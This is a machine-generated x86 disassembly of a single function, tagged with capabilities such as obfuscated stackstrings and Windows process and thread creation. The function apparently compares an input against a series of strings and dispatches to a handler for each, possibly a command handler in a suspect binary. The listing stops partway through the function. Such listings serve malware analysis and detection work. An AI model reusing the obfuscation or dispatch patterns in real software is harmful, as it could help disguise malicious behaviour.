Function at 0x520220
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x579ff4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x48], 0
push edi
mov edx, 0x5b8778
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x34], esi
call fcn.00442920
mov edi, dword [ebx + 8]
mov edx, eax
test edi, edi
je 0x5202b3
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520283
sub ecx, dword [ebp - 0x24]
je 0x5202b3
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5202b3
cmp dword [edx + 0x14], 0x10
jb 0x52029e
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5202ba
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5202ee
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5202e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523b89
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520306
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x523b71
mov edx, 0x5b8808
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520351
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520321
sub ecx, dword [ebp - 0x24]
je 0x520351
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520351
cmp dword [edx + 0x14], 0x10
jb 0x52033c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520358
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52038c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520382
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523b8e
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520991
mov edx, 0x5b87f0
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5203e1
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5203b1
sub ecx, dword [ebp - 0x24]
je 0x5203e1
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5203e1
cmp dword [edx + 0x14], 0x10
jb 0x5203cc
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5203e8
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52041c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520412
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523b93
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5204d0
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045cba0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523b71
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5204c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bc5
push ecx
push edx
call fcn.005472f1
add esp, 8
jmp 0x523b71
mov edx, 0x5b8820
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520520
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5204f0
sub ecx, dword [ebp - 0x24]
je 0x520520
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520520
cmp dword [edx + 0x14], 0x10
jb 0x52050b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520527
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52055b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520551
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523b98
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52060f
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045cba0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523b71
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520600
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bc5
push ecx
push edx
call fcn.005472f1
add esp, 8
jmp 0x523b71
mov edx, 0x5b8838
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520660
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520630
sub ecx, dword [ebp - 0x24]
je 0x520660
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520660
cmp dword [edx + 0x14], 0x10
jb 0x52064b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520667
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52069b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520691
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523b9d
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5206b0
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041ba10
jmp 0x523b71
mov edx, 0x5b8970
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520700
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5206d0
sub ecx, dword [ebp - 0x24]
je 0x520700
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520700
cmp dword [edx + 0x14], 0x10
jb 0x5206eb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520707
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52073b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520731
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523ba2
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520ca5
mov edx, 0x5b8988
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520790
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520760
sub ecx, dword [ebp - 0x24]
je 0x520790
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520790
cmp dword [edx + 0x14], 0x10
jb 0x52077b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520797
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5207cb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5207c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523ba7
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520d41
mov edx, 0x5b8a60
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520820
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5207f0
sub ecx, dword [ebp - 0x24]
je 0x520820
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520820
cmp dword [edx + 0x14], 0x10
jb 0x52080b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520827
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52085b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520851
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bac
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520de1
mov edx, 0x5b8790
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5208b0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520880
sub ecx, dword [ebp - 0x24]
je 0x5208b0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5208b0
cmp dword [edx + 0x14], 0x10
jb 0x52089b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5208b7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5208eb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5208e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bb1
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5208fe
mov ecx, dword [esi + 0xc]
call fcn.0041c3e0
jmp 0x523b71
mov edx, 0x5b8808
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520950
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520920
sub ecx, dword [ebp - 0x24]
je 0x520950
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520950
cmp dword [edx + 0x14], 0x10
jb 0x52093b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520957
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52098b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520981
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bb6
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5209a0
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041ba10
jmp 0x523b71
mov edx, 0x5b87f0
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5209f0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5209c0
sub ecx, dword [ebp - 0x24]
je 0x5209f0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5209f0
cmp dword [edx + 0x14], 0x10
jb 0x5209db
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5209f7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520a2b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520a21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bbb
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520adf
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045cba0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523b71
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520ad0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bc5
push ecx
push edx
call fcn.005472f1
add esp, 8
jmp 0x523b71
mov edx, 0x5b8820
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520b30
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520b00
sub ecx, dword [ebp - 0x24]
je 0x520b30
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520b30
cmp dword [edx + 0x14], 0x10
jb 0x520b1b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520b37
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520b6b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520b61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bc0
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520c19
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042b390
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045cba0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x523b71
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520ad0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bc5
jmp 0x520ad0
mov edx, 0x5b8970
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520c64
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520c34
sub ecx, dword [ebp - 0x24]
je 0x520c64
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520c64
cmp dword [edx + 0x14], 0x10
jb 0x520c4f
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520c6b
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520c9f
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520c95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bca
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520cb2
mov ecx, dword [esi + 0xc]
call fcn.00406860
jmp 0x523b71
mov edx, 0x5b8988
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520d00
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520cd0
sub ecx, dword [ebp - 0x24]
je 0x520d00
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520d00
cmp dword [edx + 0x14], 0x10
jb 0x520ceb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520d07
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520d3b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520d31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bcf
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520d4e
mov ecx, dword [esi + 0xc]
call fcn.00406b40
jmp 0x523b71
mov edx, 0x5b8a60
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520da0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520d70
sub ecx, dword [ebp - 0x24]
je 0x520da0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520da0
cmp dword [edx + 0x14], 0x10
jb 0x520d8b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520da7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520ddb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520dd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bd4
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520dee
mov ecx, dword [esi + 0xc]
call fcn.0041c820
jmp 0x523b71
mov edx, 0x5b8850
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520e40
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520e10
sub ecx, dword [ebp - 0x24]
je 0x520e40
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520e40
cmp dword [edx + 0x14], 0x10
jb 0x520e2b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520e47
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520e7b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520e71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bd9
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520e90
mov ecx, dword [esi + 0xc]
push 1
call fcn.00407920
jmp 0x523b71
mov edx, 0x5b8868
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520ee0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520eb0
sub ecx, dword [ebp - 0x24]
je 0x520ee0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520ee0
cmp dword [edx + 0x14], 0x10
jb 0x520ecb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520ee7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520f1b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520f11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bde
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520f30
mov ecx, dword [esi + 0xc]
push 0
call fcn.00407920
jmp 0x523b71
mov edx, 0x5b8880
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x520f7a
mov ecx, edi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520f48
sub ecx, esi
je 0x520f7a
mov esi, dword [edx + 0x10]
test esi, esi
je 0x520f7a
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x64], esi
jb 0x520f65
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520f84
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520fb8
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520fae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523be3
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5210ab
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520ff3
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524080
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
call fcn.0054c3fd
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x48]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054dd5e
add esp, 0x14
cmp esi, dword [ebp - 0x48]
je 0x523be8
cmp dword [edi], 0x22
je 0x523bf2
mov ecx, dword [ebp - 0x24]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00407c00
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x523b71
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520ad0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523bfc
jmp 0x520ad0
mov edx, 0x5b8730
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5210fb
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5210c6
sub ecx, dword [ebp - 0x24]
je 0x5210fb
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5210fb
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5210e6
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x521102
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521136
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52112c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c01
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521242
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521171
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524080
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00432480
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.0045fcb0
lea ecx, [ebp - 0xe4]
call fcn.0042c3d0
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x523b71
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520ad0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c06
jmp 0x520ad0
mov edx, 0x5b8748
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x521295
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521260
sub ecx, dword [ebp - 0x24]
je 0x521295
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521295
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521280
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52129c
